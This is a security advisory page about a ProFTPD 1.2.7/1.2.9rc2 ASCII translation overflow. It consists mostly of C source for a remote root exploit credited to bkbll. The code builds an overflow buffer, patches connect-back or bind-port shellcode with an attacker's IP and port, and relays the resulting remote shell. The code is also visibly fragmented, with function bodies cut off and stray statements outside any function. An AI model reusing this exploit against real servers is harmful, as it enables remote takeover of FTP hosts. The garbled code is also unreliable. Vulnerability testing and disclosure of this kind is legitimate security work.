As we reported in our previous article: ProFTPD ASCII File Remote Compromise Vulnerability, a vulnerability in ProFTPD allows remote attackers to cause the FTP server to crash while executing arbitrary code.
The following exploit code can be used to test your server for the mentioned vulnerability.
Credit:
The information has been provided by bkbll.
Vulnerable systems:
* ProFTPD version 1.2.7
* ProFTPD version 1.2.9rc2
Exploit:
/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
* for FTP_ProFTPD_Translate_Overflow found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_write function return address.
* because the overflow is before it connecting to our port,so I have no method for using current socket.
* and I have provied two method:bind port and connect back.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define OFFSET 39 //cbshellcode ip & port offset,0 is the first
#define OFF2 70 //bindshellcode port offset,0 is the first
#define VER "1.20"
setport(localip,port1); //get the pasv port,a new one
mustread=total;
retrbuf(filename,buffer,total,port1);
readbuf("The First time read",sockfd,srvbuf,SIZE);
port1++;
setport(localip,port1);
mustread=total;
getshell=1;
retrbuf(filename,buffer,total,port1);
quit();
}
void setfilename(char *s,int len)
{
int a;
void storbuf(char *filename,char *buf,int size,int port)
{
int j;
printf("[+] STOR file %s\n",filename);
memset(cmdbuf,0,SIZE);
j=sprintf(cmdbuf,"%s %s\r\n",storstr,filename);
sendbuf(sockfd,cmdbuf,j);
storfile(buf,size,port);
//check if the content is send overd
readbuf(NULL,sockfd,srvbuf,SIZE);
checkstatus(srvbuf);
}
void retrbuf(char *filename,char *buffer,int length,int port1)
{
int j;
int createbuffer(char *s,int len,int type,char *h)
{
int i,a,total;
char buf[41];
unsigned int writeaddr=targets[type-1].ret;
writeaddr-=4;
if(checklf((void *)&writeaddr,4)<0)
{
printf("[-] Sorry, the ret addr %p=%p-4 have '\\n' char.\n",writeaddr,writeaddr+4);
quit();
}
a=i=0;
memset(s,0,len);
i+=3;
*(unsigned int *)(s+i)=writeaddr+7*4;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x600;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x400;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x200;
i+=4;
*(unsigned int *)(s+i)=writeaddr-0x300;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
*(unsigned int *)(s+i)=0x90900eeb;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
*(unsigned int *)(s+i)=0x0;
i+=4;
//connectback shellcode,modified ip & port
if(bindmethod==0)
{
modify(cbshellcode,h,pt);
memcpy(s+i,cbshellcode,strlen(cbshellcode));
i+=strlen(cbshellcode);
}
else
{
modify(bindshellcode,NULL,pt);
memcpy(s+i,bindshellcode,strlen(bindshellcode));
i+=strlen(bindshellcode);
}
memset(s+i,'Z',512-i);
memset(s+512,'\n',512);
total=1024;
memset(buf,0,41);
i=0;
memset(buf,'\n',20);
i+=20;
*(unsigned int *)(buf+i)=writeaddr;
i+=4;
*(unsigned int *)(buf+i)=writeaddr;
i+=4;
*(unsigned int *)(buf+i)=writeaddr+0x800; //here,the value must great than 0x600
i+=4;
*(unsigned int *)(buf+i)=writeaddr;
i+=4;
*(unsigned int *)(buf+i)=writeaddr;
//showmem(buf,40);
for(i=0;i<1024;i++)
{
a=(i*40)+1024;
memcpy(s+a,buf,40);
total+=40;
}
return total;
}
int create_serv(int sfd,int port)
{
struct sockaddr_in srvaddr;
int on=1;
bzero(&srvaddr,sizeof(struct sockaddr));
srvaddr.sin_port=htons(port);
srvaddr.sin_family=AF_INET;
srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
printf("[+] Listening on %d ....",port);
fflush(stdout);
setsockopt(sfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); //so I can rebind the port
if(bind(sfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
{
printf("FAILED\n");
perror("[-] Bind port error");
return(-1);
}
if(listen(sfd,5)<0)
{
printf("FAILED\n");
perror("[-] Listen error");
return(-1);
}
printf("ok\n");
return(0);
}
void modify(char *s,char *h,int port3)
{
int a,b,c,d;
if(h!=NULL)
{
sscanf(h,"%d.%d.%d.%d",&a,&b,&c,&d);
a&=0xff;
b&=0xff;
c&=0xff;
d&=0xff;
if((char)a=='\n' || (char)b=='\n' || (char)c=='\n' || (char)d=='\n')
{
printf("[-] Sorry, the connect back ip:%s have '\\n' char\n",h);
}
s[OFFSET] = a & 0xff;
s[OFFSET+1] = b & 0xff;
s[OFFSET+2] = c & 0xff;
s[OFFSET+3] = d & 0xff;
a=port3 >> 8 & 0xff;
b=port3 & 0xff;
if((char)a=='\n' || (char)b=='\n')
{
printf("[-] Sorry, the connect back port:%d have '\\n' char\n",port3);
quit();
}
s[OFFSET+6]=a;
s[OFFSET+7]=b;
}
else
{
a=port3 >> 8 & 0xff;
b=port3 & 0xff;
if((char)a=='\n' || (char)b=='\n')
{
printf("[-] Sorry, the bind port:%d have '\\n' char\n",port3);
quit();
}
s[OFF2]=a;
s[OFF2+1]=b;
}
}
void usage(char *s)
{
unsigned int a;
char *p;
int d=strlen(s)+1;
p=(char *)malloc(d);
memset(p,0x20,d-1);
p[d-1]=0;
printf("@---------------------------------------------------------@\n");
printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER);
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
printf("-----------------------------------------------------------\n");
printf("Usage:%s -d <host> -u <user> -p <pass> -t <type>\n",s);
printf(" %s -l <local ip> -h <cbip> -o <cbport>\n",p);
printf("Arguments:\n");
printf(" -d target host ip/name\n");
printf(" -u user name\n");
printf(" -p user paasword\n");
printf(" -l the ip of this machine u used\n");
printf(" -h connect back ip\n");
printf(" -o connect back port/bind port\n");
printf(" -t target type [default:%d]\n",type);
printf(" ------------------------------\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);
printf("\n");
free(p);
exit(0);
}
int execsh(int clifd)
{
fd_set fds;
int count;
char buffer[SIZE];
memset(buffer,0,SIZE);
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(clifd, &fds);
if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, SIZE);
if (count <= 0) break;
if (write(clifd, buffer, count) <= 0) break;
memset(buffer,0,SIZE);
}
if (FD_ISSET(clifd, &fds))
{
count = read(clifd, buffer, SIZE);
if (count <= 0) break;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,SIZE);
}